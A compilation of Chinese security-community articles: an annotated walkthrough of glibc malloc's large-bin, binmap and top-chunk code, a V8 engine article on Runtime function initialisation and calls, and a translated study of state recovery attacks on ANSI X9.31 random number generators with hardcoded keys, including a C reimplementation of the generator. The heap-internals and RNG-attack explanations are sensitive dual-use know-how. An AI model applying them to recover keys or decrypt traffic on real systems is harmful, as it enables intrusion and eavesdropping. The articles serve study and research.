large bin也在bins数组中，一共有63个，不同的是每个large
bin中的chunk并不是大小相同的，而是存储一定范围的chunk，每个large bin存储的范围都不同。
查找完unsorted bin后就真正开始从large bin中找，因为large
bin是有序链表，第一个最大，依次减小，所以就依次扫描链表，直到找到一个符合要求的最小chunk。
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range(nb))
{
bin = bin_at(av, idx);//idx在之前被赋值，idx = largebin_index(nb)
/* skip scan if empty or largest chunk is too small */
//如果large bin非空并且large bin中最大的chunk不小于nb
if ((victim = first(bin)) != bin && (unsigned long)chunksize_nomask(victim) >= (unsigned long)(nb))
{
victim = victim->bk_nextsize;
//反向遍历链表，从最小的开始找，找到第一个不小于nb的chunk
while (((unsigned long)(size = chunksize(victim)) <
(unsigned long)(nb)))
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
//如果victim不是链表的最后一个，并且victim与之普通链上的下一个chunk大小相同
//就使用下一个chunk，因为该chunk不在nextsize链上，就不用改动nextsize指针
//注：前面找到的第一个不小于nb的chunk是在nextsize链上找到的，所以该chunk普通链上
//的下一个chunk是有可能与之大小相同的，正如前面所说，如果插入的时候大小相同就插在后面
if (victim != last(bin) && chunksize_nomask(victim) == chunksize_nomask(victim->fd))
victim = victim->fd;
remainder_size = size - nb;//剩余部分的大小
unlink(av, victim, bck, fwd);//将victim从链表中取出
/* Exhaust */
//如果剩余部分不够一个chunk
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
set_non_main_arena(victim);
}
/* Split */
else //否则就进行拆分
{
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
malloc_printerr("malloc(): corrupted unsorted chunks");
//将剩余部分插到unsorted bin的第一个
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
//如果属于large bin的范畴就将nextsize指针置空
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
//设置标识位
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
//检查并返回victim
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
### block
一个block就是连续的32个bin，每个block有一个map来标记每个bin里是否有空闲的chunk，通过这种机制就可以批量地查看bin的状态，避免了挨个遍历，提高了检索速度。
/*
Search for a chunk by scanning bins, starting with next largest
bin. This search is strictly by best-fit; i.e., the smallest
(with ties going to approximately the least recently used) chunk
that fits is selected.
The bitmap avoids needing to check that most blocks are nonempty.
The particular case of skipping all bins during warm-up phases
when no chunks have been returned yet is faster than it might look.
*/
++idx;//下一个large bin
bin = bin_at(av, idx);
// #define idx2block(i) ((i) >> BINMAPSHIFT)
//BINMAPSHIFT = 5
//binmap用一个整数的每一个位来标识每个bin中是否有空闲的chunk
//因为一个int是32位，所以一个map能标识32个bin的状态，所以idx右移5位就是map的索引
//如100010表示第2和第6个bin中有空闲的chunk
block = idx2block(idx);
map = av->binmap[block];
// #define idx2bit(i) ((1U << ((i) & ((1U << BINMAPSHIFT) - 1))))
//实际上就是把1左移idx位，但是如果idx超过31就越了int的界
//但是在实际执行时是1<<(idx%32)，如1<<35 == 1<<3 == 8
bit = idx2bit(idx);
for (;;)
{
/* Skip rest of block if there are no more set bits in this block. */
//bit>map，即在当前block中大于等于(idx%32)位置上的bin都不可用
//另外按照bin的排列规则，索引越大的bin，chunk越大
//所以bit>map表示当前block中没有可用的bin
if (bit > map || bit == 0)
{
//如果当前block不可用就找下一个block，直到binmap不等于0，即找到的block中有可用bin
do
{
if (++block >= BINMAPSIZE) /* out of bins */
goto use_top;//如果超出了bin的范围，就使用top chunk
} while ((map = av->binmap[block]) == 0);
//block左移5位即idx2block的逆过程，找到当前block的第一个bin
bin = bin_at(av, (block << BINMAPSHIFT));
bit = 1;//表示当前使用的是第一个bin
}
/* Advance to bin with set bit. There must be one. */
//(bit & map) == 0表示当前的bin不可用
while ((bit & map) == 0)
{
bin = next_bin(bin);
bit <<= 1;//左移1位表示使用下一个chunk
assert(bit != 0);
}
/* Inspect the bin. It is likely to be non-empty */
//从最后一个也就是最小的一个chunk开始
victim = last(bin);
/* If a false alarm (empty bin), clear the bit. */
//如果bin是空的的话更新对应map中的bit值为0，并找下一个bin
if (victim == bin)
{
av->binmap[block] = map &= ~bit; /* Write through */
bin = next_bin(bin);
bit <<= 1;
}
//如果非空就取出chunk然后跟large bin一样进行拆分拼接等操作
//因为当前的bin索引比之前按照nb找到的bin的索引大，所以chunksize肯定大于nb
else
{
size = chunksize(victim);
/* We know the first chunk in this bin is big enough to use. */
assert((unsigned long)(size) >= (unsigned long)(nb));
remainder_size = size - nb;
/* unlink */
unlink(av, victim, bck, fwd);
/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
set_non_main_arena(victim);
}
/* Split */
else
{
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
malloc_printerr("malloc(): corrupted unsorted chunks 2");
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
/* advertise as last remainder */
if (in_smallbin_range(nb))
av->last_remainder = remainder;
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
### top chunk
top chunk是一个单独的chunk，位于一个arena的最顶部。当所有的bin都无法满足需求时就从top
chunk中拆分chunk来满足需求，如果top chunk也无法满足需求就调用`sysmalloc`来扩展堆内存。
use_top:
/*
If large enough, split off the chunk bordering the end of memory
(held in av->top). Note that this is in accord with the best-fit
search rule. In effect, av->top is treated as larger (and thus
less well fitting) than any other available chunk since it can
be extended to be as large as necessary (up to system
limitations).
We require that av->top always exists (i.e., has size >=
MINSIZE) after initialization, so if it would otherwise be
exhausted by current request, it is replenished. (The main
reason for ensuring it exists is that we may need MINSIZE space
to put in fenceposts in sysmalloc.)
*/
victim = av->top;
size = chunksize(victim);
//如果top chunk除去nb之后还能独立成为一个chunk
//就从top chunk中拆分出nb大小的chunk
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;//剩余部分继续成为top chunk
//设置chunk头部
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
//返回victim
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
/* When we are using atomic ops to free fast chunks we can get
here for all block sizes. */
//如果top chunk不够，并且有fast bin就合并fast bin
else if (atomic_load_relaxed(&av->have_fastchunks))
{
malloc_consolidate(av);//合并fast bin到top chunk
/* restore original bin index */
//计算nb所属的bin
if (in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
/*
Otherwise, relay to handle system-dependent cases
*/
//否则说明堆不够，调用sysmalloc向操作系统请求内存
else
{
void *p = sysmalloc(nb, av);
if (p != NULL)
alloc_perturb(p, bytes);
return p;
}
}//大循环
}
# 总结
首先判断tcache中是否有可用的chunk，如果有直接返回，否则进入`_int_malloc`中做进一步分配。在`_int_malloc`中先判断arena是否可用，如果不可用就调用`sysmalloc`向操作系统申请内存并返回，如果arena可用就开始在各个bin中寻找chunk。首先是fast
bin，如果fast bin中有需求大小的chunk就返回该chunk，并将该fast
bin链中（即相同大小）的其余chunk放入tcache中，直到tcache被填满，否则就开始在small bin中寻找chunk。在small
bin中流程与fast bin相同，如果在small bin中找不到chunk就需要进入一个直到找到chunk的大循环。在大循环中，先遍历unsorted
bin，对unsorted chunk进行判断，如果就是所需的大小则优先放入tcache中，tcache满了才返回；如果不是所需大小则放入small
bin或large
bin中。遍历结束后判断在遍历的过程中是否有chunk被放入tcache，如果有则从tcache找chunk并返回，如果没有就到large
bin中找。在对应large bin中如果能找到最合适的chunk就将该chunk拆分后返回，如果不能则利用binmap批量遍历更大的large
bin，如果有可用的chunk就拆分并返回，如果没有就只能用top chunk了。但是如果top chunk也不够，就先判断是否有fast
bin，如果有则先合并fast bin，并重新开始大循环，如果没有fast bin则调用sysmalloc向操作系统请求支援。流程图如下： | 社区文章 |
# 《Chrome V8原理讲解》第十六篇 运行时辅助类，详解加载与调用过程
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本系列的前十三篇文章，讲解了V8执行Javascript时最基础的工作流程和原理，包括词法分析、语法分析、字节码生成、Builtins方法、ignition执行单元，等等，达到了从零做起，入门学习的目的。
接下来的文章将以问题为导向讲解V8源码，例如：以闭包技术、或垃圾回收（GC）为专题讲解V8中的相关源码。V8代码过于庞大，以问题为导向可以使得学习主题更加明确、效果更好。同时，我争取做到每篇文章是一个独立的知识点，方便大家阅读。
读者可以把想学的内容在文末评论区留言，我汇总后出专题文章。
## 1 摘要
运行时辅助类（Runtime）在Javascript执行期提供众多辅助功能，如属性访问，新建对象、正则表达式等。上篇文章对“Runtime是什么？怎么用了？”做了详细介绍，本文将重点说明“他是怎么来的？他存储在哪？”，也就是Runtime在V8中的初始化过程，初始化完后的存储位置，以及在`BytecodeHandler`中的调用细节。
## 2 Runtime初始过程
Runtime属于V8的基础组件，在创建Isolate时完成初始化，下面是初始化阶段的源码:
1. bool Isolate::Init(ReadOnlyDeserializer* read_only_deserializer,
2. StartupDeserializer* startup_deserializer) {
3. TRACE_ISOLATE(init);
4. const bool create_heap_objects = (read_only_deserializer == nullptr);
5. // We either have both or neither.
6. DCHECK_EQ(create_heap_objects, startup_deserializer == nullptr);
7. base::ElapsedTimer timer;
8. //省略很多...............................
9. handle_scope_implementer_ = new HandleScopeImplementer(this);
10. load_stub_cache_ = new StubCache(this);
11. store_stub_cache_ = new StubCache(this);
12. materialized_object_store_ = new MaterializedObjectStore(this);
13. regexp_stack_ = new RegExpStack();
14. regexp_stack_->isolate_ = this;
15. date_cache_ = new DateCache();
16. heap_profiler_ = new HeapProfiler(heap());
17. interpreter_ = new interpreter::Interpreter(this);
18. compiler_dispatcher_ =
19. new CompilerDispatcher(this, V8::GetCurrentPlatform(), FLAG_stack_size);
20. // Enable logging before setting up the heap
21. logger_->SetUp(this);
22. { // NOLINT
23. ExecutionAccess lock(this);
24. stack_guard()->InitThread(lock);
25. }
26. // SetUp the object heap.
27. DCHECK(!heap_.HasBeenSetUp());
28. heap_.SetUp();
29. ReadOnlyHeap::SetUp(this, read_only_deserializer);
30. heap_.SetUpSpaces();
31. isolate_data_.external_reference_table()->Init(this);
32. //省略很多...................
33. }
上述代码是`isolate`的初始化入口，行10~20包括了很多重要组件的初始化工作，例如`Interpreter`、`compiler_dispatcher`等等，后续文章都会讲到。Runtime的初始化由`external`负责，代码31行`Init()`方法中完成相关工作，源码如下:
1. void ExternalReferenceTable::Init(Isolate* isolate) {
2. int index = 0;
3. // kNullAddress is preserved through serialization/deserialization.
4. Add(kNullAddress, &index);
5. AddReferences(isolate, &index);
6. AddBuiltins(&index);
7. AddRuntimeFunctions(&index);
8. AddIsolateAddresses(isolate, &index);
9. AddAccessors(&index);
10. AddStubCache(isolate, &index);
11. AddNativeCodeStatsCounters(isolate, &index);
12. is_initialized_ = static_cast<uint32_t>(true);
13. CHECK_EQ(kSize, index);
14. }
代码4行~11行是由`external`类负责管理的初始化，这其中包括了我们多次提到的`Builtins`。`AddRuntimeFunctions(&index)`是Runtime的初始化函数，代码如下：
1. void ExternalReferenceTable::AddRuntimeFunctions(int* index) {
2. CHECK_EQ(kSpecialReferenceCount + kExternalReferenceCount +
3. kBuiltinsReferenceCount,
4. *index);
5. static constexpr Runtime::FunctionId runtime_functions[] = {
6. #define RUNTIME_ENTRY(name, ...) Runtime::k##name,
7. FOR_EACH_INTRINSIC(RUNTIME_ENTRY)
8. #undef RUNTIME_ENTRY
9. };
10. for (Runtime::FunctionId fId : runtime_functions) {
11. Add(ExternalReference::Create(fId).address(), index);
12. }
13. CHECK_EQ(kSpecialReferenceCount + kExternalReferenceCount +
14. kBuiltinsReferenceCount + kRuntimeReferenceCount,
15. *index);
16. }
它只有一个参数index，在本文所用的V8版本中它的值是430，代表下标，`ExternalReferenceTable`是表结构，它的核心成员是地址指针数组`ref_addr_`，index代表它的下标，表示Runtime函数在`ExternalReferenceTable`成员变量`ref_addr_`中的位置，本文所用V8中有468个Runtime方法，初始化完成后存储在`ref_addr_`的430~430+468-1这个区间内。`ExternalReferenceTable`表结构非常简单，稍后给出。
代码5行定义了Runtime的枚举变量，其中涉及的宏模板请自行展开，图1给出部分枚举变量。代码11行通过`for`循环添加函数，`Create()`方法根据`Runtime
Id`创建表项，最终添加到`ExternalReferenceTable`表中，代码如下：
1. ExternalReference ExternalReference::Create(Runtime::FunctionId id) {
2. return Create(Runtime::FunctionForId(id));
3. }
4. //分隔线........................
5. const Runtime::Function* Runtime::FunctionForId(Runtime::FunctionId id) {
6. return &(kIntrinsicFunctions[static_cast<int>(id)]);
7. }
8. //分隔线.......................
9. ExternalReference ExternalReference::Create(const Runtime::Function* f) {
10. return ExternalReference(
11. Redirect(f->entry, BuiltinCallTypeForResultSize(f->result_size)));
12. }
上述代码是三个函数，依次调用。第一个函数`Create(Runtime::FunctionId
id)`的参数是图1中的枚举值；第二个函数`FunctionForId(Runtime::FunctionId
id)`的返回值是`kIntrinsicFunctions`类型的数据，该数据是以下几个宏代码的展开结果。
#define FUNCTION_ADDR(f) (reinterpret_cast<v8::internal::Address>(f))
#define F(name, number_of_args, result_size) \
{ \
Runtime::k##name, Runtime::RUNTIME, #name, FUNCTION_ADDR(Runtime_##name), \
number_of_args, result_size \
} \
,
#define I(name, number_of_args, result_size) \
{ \
Runtime::kInline##name, Runtime::INLINE, "_" #name, \
FUNCTION_ADDR(Runtime_##name), number_of_args, result_size \
} \
,
static const Runtime::Function kIntrinsicFunctions[] = {
FOR_EACH_INTRINSIC(F) FOR_EACH_INLINE_INTRINSIC(I)};
#undef I
#undef F
`kIntrinsicFunctions`数据是什么类型？它是数组，每个成员又是`函数名，参数个数，返回值个数`组成的另一个数组。上一篇文章中，我定义的`MyRuntime`方法，格式是：`F(MyRuntime,1,1)`，正好和这个数据格式对应，下面是`kIntrinsicFunctions`展开的样例：
kIntrinsicFunctions []={
//.....................
{
Runtime::kDebugPrint, Runtime::RUNTIME, "DebugPrint", (reinterpret_cast<v8::internal::Address>(Runtime_DebugPrint)),
1, 1
},
//.....................
`kIntrinsicFunctions`是一个二维数组，上述代码展示了其中的一组数据。下面是`void
ExternalReferenceTable::AddRuntimeFunctions(int* index)`方法中11行`Add()`方法的源码：
void ExternalReferenceTable::Add(Address address, int* index) {
ref_addr_[(*index)++] = address;
}
`index`每次添加后会增1，`ref_addr_`是什么呢？它是`ExternalReferenceTable`的成员变量，地址指针数组，下面是`ExternalReferenceTable`源码：
1. class ExternalReferenceTable {
2. public:
3. static constexpr int kSpecialReferenceCount = 1;
4. static constexpr int kExternalReferenceCount =
5. ExternalReference::kExternalReferenceCount;
6. static constexpr int kBuiltinsReferenceCount =
7. #define COUNT_C_BUILTIN(...) +1
8. BUILTIN_LIST_C(COUNT_C_BUILTIN);
9. #undef COUNT_C_BUILTIN
10. static constexpr int kRuntimeReferenceCount =
11. Runtime::kNumFunctions - 12. Runtime::kNumInlineFunctions; // Don't count dupe kInline... functions.
13. static constexpr int kIsolateAddressReferenceCount = kIsolateAddressCount;
14. static constexpr int kAccessorReferenceCount =
15. Accessors::kAccessorInfoCount + Accessors::kAccessorSetterCount;
16. static constexpr int kStubCacheReferenceCount = 12;
17. static constexpr int kStatsCountersReferenceCount =
18. #define SC(...) +1
19. STATS_COUNTER_NATIVE_CODE_LIST(SC);
20. #undef SC
21. //..............省略很多............................
22. ExternalReferenceTable() = default;
23. void Init(Isolate* isolate);
24. private:
25. void Add(Address address, int* index);
26. void AddReferences(Isolate* isolate, int* index);
27. void AddBuiltins(int* index);
28. void AddRuntimeFunctions(int* index);
29. void AddIsolateAddresses(Isolate* isolate, int* index);
30. void AddAccessors(int* index);
31. void AddStubCache(Isolate* isolate, int* index);
32. Address GetStatsCounterAddress(StatsCounter* counter);
33. void AddNativeCodeStatsCounters(Isolate* isolate, int* index);
34. STATIC_ASSERT(sizeof(Address) == kEntrySize);
35. Address ref_addr_[kSize];
36. static const char* const ref_name_[kSize];
37. uint32_t is_initialized_ = 0;
38. uint32_t dummy_stats_counter_ = 0;
39. DISALLOW_COPY_AND_ASSIGN(ExternalReferenceTable);
40. };
代码7行给出了`Builtin`统计时使用的宏模板，代码行25~35说明了`ExternalReferenceTable`负责初始化和管理哪些数据。初始化后的数据，也就是函数地址，保存在代码35行的`ref_addr_`数组中，这个数组的类型`Address`是`using
Address = uintptr_t;`，`typedef unsigned __int64 uintptr_t;`。
图2中给出了三个关键信息，`Add()`方法的调用位置，对应的函数调用堆栈，以及展示了部分`ref_addr_`的内容。
总结，`ExternalReferenceTable`最重要的成员是`ref_addr_`，它本质是一个指针数组，Rumtime函数保存在下标430开始的成员中，调用时用下标值索引函数地址。
## 3 Runtime调用
`CallRuntime()`或`CallRuntimeWithCEntry()`负责调用`Runtime`功能，上篇文章给出了调用样例并做了实验，本文不再赘述。我们以`CallRuntime()`为例讲解，源码如下：
1. template <class... TArgs>
2. TNode<Object> CallRuntime(Runtime::FunctionId function,
3. SloppyTNode<Object> context, TArgs... args) {
4. return CallRuntimeImpl(function, context,
5. {implicit_cast<SloppyTNode<Object>>(args)...});
6. }
7. //分隔线.........................
8. TNode<Object> CodeAssembler::CallRuntimeImpl(
9. Runtime::FunctionId function, TNode<Object> context,
10. std::initializer_list<TNode<Object>> args) {
11. int result_size = Runtime::FunctionForId(function)->result_size;
12. TNode<Code> centry =
13. HeapConstant(CodeFactory::RuntimeCEntry(isolate(), result_size));
14. return CallRuntimeWithCEntryImpl(function, centry, context, args);
15. }
16. //分隔线.........................
17. TNode<Type> HeapConstant(Handle<Type> object) {
18. return UncheckedCast<Type>(UntypedHeapConstant(object));
19. }
20. //分隔线.........................
21. TNode<Object> CodeAssembler::CallRuntimeWithCEntryImpl(
22. Runtime::FunctionId function, TNode<Code> centry, TNode<Object> context,
23. std::initializer_list<TNode<Object>> args) {
24. constexpr size_t kMaxNumArgs = 6;
25. DCHECK_GE(kMaxNumArgs, args.size());
26. int argc = static_cast<int>(args.size());
27 auto call_descriptor = Linkage::GetRuntimeCallDescriptor(zone(), function, argc, Operator::kNoProperties,
Runtime::MayAllocate(function) ? CallDescriptor::kNoFlags
: CallDescriptor::kNoAllocate);
28. for (auto arg : args) inputs.Add(arg);
29. inputs.Add(ref);
30. inputs.Add(arity);
31. inputs.Add(context);
32. CallPrologue();
33. Node* return_value =
34. raw_assembler()->CallN(call_descriptor, inputs.size(), inputs.data());
35. HandleException(return_value);
36. CallEpilogue();
37. return UncheckedCast<Object>(return_value);
38. }
代码2行，`CallRuntime()`声明中，可以看到它有三个参数，第一个是FunctionId枚举类型，前面提到过；第二个参数是context，第三参数`args`是传给Runtime函数的参数列表。`CallRuntime()`调用`CallRuntimeImpl()`,在`CallRuntimeImpl()`内部读取堆中的常量数据（HeapConstant），代码18行，该数据中保存了函数与下标的对应关系，用`FunctionId`在该表中查到对应的函数地址，代码27行建立调用描述符(参见之前的文章)，最终在代码34行调用Runtime函数。
上述代码是Builtin，不能在C++级别做Debug，无法给出调用堆栈等调试信息。也许你会有疑问：为什么不用上篇文章中提到的`RUNTIME_DebugPrint`或是自定义Runtime功能做断点？答：我们现在讲的就是Runtime的调用过程，没办法使用Runtime调试自己:(((。
要调试也是有办法的，汇编调试，汇编调试超出了V8的学习范围，不在此讲解了，对此感兴趣的朋友，评论区私信我。
**最后，纠正《第十五篇》中的一个错误，我曾写到：“context是传给MyRuntime()的第一个参数，这是格式要求，注意：它不计在参数的数量中!
通过下面的测试代码，对MyRuntime做测试：”。**
正确的解释是：`context`不是`MyRuntime()`的第一个参数，它是`CallRuntime()`的第二参数，与`MyRuntime()`无关。
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
# 针对过时的RNG随机数发生器的有效状态恢复攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 作者：CryptoPentest
“Practical state recovery attacks against legacy RNG implementations”由Shaanan
N. Cohney, Matthew D. Green, Nadia Heninger三位研究员发表于CCS2018会议上。论文中，作者对数百种经FIPS
140-2认证的应用ANSI
X9.31随机数发生器的公开产品进行了系统研究，发现其中12个产品中使用了静态硬编码密钥，攻击者可从源代码或二进制文件中获取该密钥。
为了证明这种攻击的实用性，作者对应用FortiOS v4的 FortiGate VPN网关实施完全被动解密攻击，可在几秒钟内恢复私钥。
研究者使用主动扫描在Internet上测量此漏洞的普遍程度，并展示 状态恢复和完全私钥恢复普遍存在。
作者的工作突出显示出验证和认证过程未能在多大程度上提供适度的安全保障。论文中，作者并没有对固件逆向、/dev/uramdom实现、及攻击代码实现等具体细节做详细阐述。笔者复现了随机数生成器代码及部分攻击过程，并将扩展介绍该攻击的技术细节。
## 一、ANSI X9.17/31随机数生成标准
随机数生成是加密系统的重要组成部分。近年来，已发现许多密码系统的随机数生成器存在缺陷或被恶意植入后门。例如，Edward
Snowden泄漏的文件表明NIST Dual EC
DRBG标准可能设计有后门。2015年，Juniper公司透露他们的ScreenOS系列VPN设备已被修改为包含一组恶意的双EC参数，可导致VPN会话被动解密。
ANSI X9.17“金融机构密钥管理（批发）”标准由ANSI-American National Standards
Institute（美国国家标准学会）于1985年首次发布，为金融行业的加密密钥生成和分发定义了一个自愿的互操作性标准。
该标准在附录C中包括伪随机数发生器（PRG），作为生成密钥素材的建议方法。
此生成器使用分组密码（在原始描述中为DES）从当前状态生成输出，并使用当前时间更新状态。
在接下来的三十年中，相同的PRG设计出现在美国政府的加密标准中，偶尔会更新新的分组密码。 1992年，ANSI
X9.17-1985标准的一个子集作为FIPS标准FIPS-171被采用。FIPS-171规定“只有NIST认可的密钥生成算法（例如，ANSI
X9.17附录C中定义的技术）才能使用。 1994年采用的FIPS 140-1规定模块应使用FIPS认可的密钥生成算法; FIPS
186-1是1998年采用的DSA标准的原始版本，它将X9.17 PRG列为生成私钥的批准方法。1998年的ANSI X9.31标准（作为X9.17
PRG的变体）使用双密钥3DES作为分组密码;此变体作为批准的随机数生成器包含在其他标准中，例如2004年的FIPS
186-2。NIST使用三密钥的3DES和AES作为分组密码[39]发布了此设计的扩展，正式包含在FIPS中140-2 2005年批准的随机数生成算法列表。
ede _X(Y)表示通过DEA(Data Encryption Algorithm)算法，应用密钥_ K加密，其中*K保密，但ANSI X9.31
PRG设计的NIST文档没有指定如何生成密码密钥；
V是64比特种子，同样保密；
DT是日期/时间向量，每次调用更新；
I为中间值；
64比特R生成方法如下：
I=ede*K(DT)
R=ede*K(I^V) #R通过级连生成连续的随机数
V=ede*K(R^I) #下一轮V生成方法
## 二、随机数状态恢复攻击
随机数生成算法详细描述如下：
K是在初始化时以某种方式生成的对称加密算法（如3DES、AES）加密密钥。随机数迭代 生成过程如下：
Ti = EK(current timestamp)
output[i] = EK(Ti ⊕ seed[i])
seed[i + 1] = EK(Ti ⊕ output[i])
直接密码分析攻击这个生成器需要对 AES（或者正在使用其它分组密码）。
当K不保密时，随机数发生器就变得十分脆弱。已知K的攻击者可以使用两个连续的输出块并猜测时间戳来恢复当前状态。单个输出块不会唯一地标识状态，但两个块几乎肯定会。中间相遇攻击算法如下：
seed[i + 1] = EK(output[i] ⊕ Ti)
seed[i + 1] = DK(output[i + 1]) ⊕ Ti+1
攻击者尝试Ti的所有可能值，并形成一个可能的种子[i + 1]值的排序列表。然后他尝试Ti + 1的所有可能值，并形成另一个可能的种子[i +
1]值的排序列表。正确的种子[i + 1]值是两个列表中出现的值。
如果只是大致知道时间戳，可以在一定范围内暴破它们，直到我们找到一对产生相等或者应用中间相遇的攻击。
如果只知道分组的部分值，则可以重新排列加密和解密，并验证块的已知部分的相等性。 一旦知道时间戳T1和T2，下一个种子就是：
seed[i+2] = EK(output[i + 1] ⊕ Ti+1)
#通过猜测下一个current timestamp，验证output[i+2]，确定确定的随机数
Ti+2 = EK(current timestamp)
output[i+2] = EK(Ti+2 ⊕ seed[i+2])
其中Ti+2由下一时刻的系统时间唯一确定，可通过有限穷尽，验证随机数生成的正确性。
## 三、随机数生成算法实现与攻击验证
#include <openssl/des.h>
#include <openssl/rand.h>
#include <openssl/err.h>
#include <sys/time.h>
#include <assert.h>
#include <unistd.h>
#include <string.h>
#define FIPS_RAND_SIZE_T size_t
#define SEED_SIZE 8
static unsigned char seed[SEED_SIZE];
static FIPS_RAND_SIZE_T n_seed;
static FIPS_RAND_SIZE_T o_seed;
static DES_cblock key1;
static DES_cblock key2;
static DES_key_schedule ks1,ks2;
static int key_set;
static int key_init;
static int test_mode;
static unsigned char test_faketime[8];
static int second;
void FIPS_set_prng_key(const unsigned char k1[8],const unsigned char k2[8]);
void FIPS_rand_seed(const void *buf, FIPS_RAND_SIZE_T num);
static void FIPS_rand_cleanup(void);
static int FIPS_rand_bytes(unsigned char *buf, FIPS_RAND_SIZE_T num);
static void dump(const unsigned char *b,int n);
void FIPS_test_mode(int test,const unsigned char faketime[8])
{
test_mode=test;
if(!test_mode)
return;
memcpy(test_faketime,faketime,sizeof test_faketime);
}
void FIPS_set_prng_key(const unsigned char k1[8],const unsigned char k2[8])
{
memcpy(&key1,k1,sizeof key1);
memcpy(&key2,k2,sizeof key2);
key_set=1;
second=0;
}
// struct timeval {
// time_t tv_sec; seconds
// suseconds_t tv_usec; /* microseconds */
// };
static void FIPS_gettime(unsigned char buf[8])
{
if(test_mode)
{
memcpy(buf,test_faketime,sizeof test_faketime);
return;
}
struct timeval tv;
gettimeofday(&tv,NULL);
buf[0] = (unsigned char) (tv.tv_sec & 0xff);
buf[1] = (unsigned char) ((tv.tv_sec >> 8) & 0xff);
buf[2] = (unsigned char) ((tv.tv_sec >> 16) & 0xff);
buf[3] = (unsigned char) ((tv.tv_sec >> 24) & 0xff);
buf[4] = (unsigned char) (tv.tv_usec & 0xff);
buf[5] = (unsigned char) ((tv.tv_usec >> 8) & 0xff);
buf[6] = (unsigned char) ((tv.tv_usec >> 16) & 0xff);
buf[7] = (unsigned char) ((tv.tv_usec >> 24) & 0xff);
}
static void FIPS_rand_encrypt(unsigned char *out,const unsigned char *in)
{
DES_ecb2_encrypt(in,out,&ks1,&ks2,1);
}
static void FIPS_rand_cleanup(void)
{
OPENSSL_cleanse(seed,sizeof seed);
n_seed=0;
o_seed=0;
key_init=0;
}
void FIPS_rand_seed(const void *buf_, FIPS_RAND_SIZE_T num)
{
const char *buf=buf_;
FIPS_RAND_SIZE_T n;
/* If the key hasn't been set, we can't seed! */
if(!key_set)
return;
if(!key_init)
{
key_init=1;
DES_set_key(&key1,&ks1);
DES_set_key(&key2,&ks2);
}
/*
* This algorithm only uses 64 bits of seed, so ensure that we use
* the most recent 64 bits.
*/
for(n=0 ; n < num ; )
{
FIPS_RAND_SIZE_T t=num-n;
if(o_seed+t > sizeof seed)
t=sizeof seed-o_seed;
memcpy(seed+o_seed,buf+n,t);
n+=t;
o_seed+=t;
if(o_seed == sizeof seed)
o_seed=0;
if(n_seed < sizeof seed)
n_seed+=t;
}
}
static int FIPS_rand_bytes(unsigned char *buf,FIPS_RAND_SIZE_T num)
{
FIPS_RAND_SIZE_T n;
unsigned char timeseed[8];
unsigned char intermediate[SEED_SIZE];
unsigned char output[SEED_SIZE];
static unsigned char previous[SEED_SIZE];
if(n_seed < sizeof seed)
{
printf("n_seed<sizeof(seed)!n");
return 0;
}
for(n=0 ; n < num ; )
{
unsigned char t[SEED_SIZE];
FIPS_RAND_SIZE_T l;
/* ANS X9.31 A.2.4: I = ede*K(DT)
timeseed == DT
intermediate == I
*/
FIPS_gettime(timeseed);
printf("time: ");
dump(timeseed,8);
putchar('t');
printf("seed1: ");
dump(seed,8);
putchar('t');
FIPS_rand_encrypt(intermediate,timeseed);
printf("I: ");
dump(intermediate,8);
putchar('t');
/* ANS X9.31 A.2.4: R = ede*K(I^V)
intermediate == I
seed == V
output == R
*/
for(l=0 ; l < sizeof t ; ++l)
t[l]=intermediate[l]^seed[l];
FIPS_rand_encrypt(output,t);
printf("rand: ");
dump(output,8);
putchar('t');
/* ANS X9.31 A.2.4: V = ede*K(R^I)
output == R
intermediate == I
seed == V
*/
for(l=0 ; l < sizeof t ; ++l)
t[l]=output[l]^intermediate[l];
FIPS_rand_encrypt(seed,t);
printf("seed2: ");
dump(seed,8);
putchar('n');
if(second && !memcmp(output,previous,sizeof previous))
{
printf("output is the same with the previous!n");
return 0;
}
memcpy(previous,output,sizeof previous);
second=1;
/* Successive values of R may be concatenated to produce a
pseudo random number of the desired length */
l=SEED_SIZE < num-n ? SEED_SIZE : num-n;
memcpy(buf+n,output,l);
n+=l;
}
return 1;
}
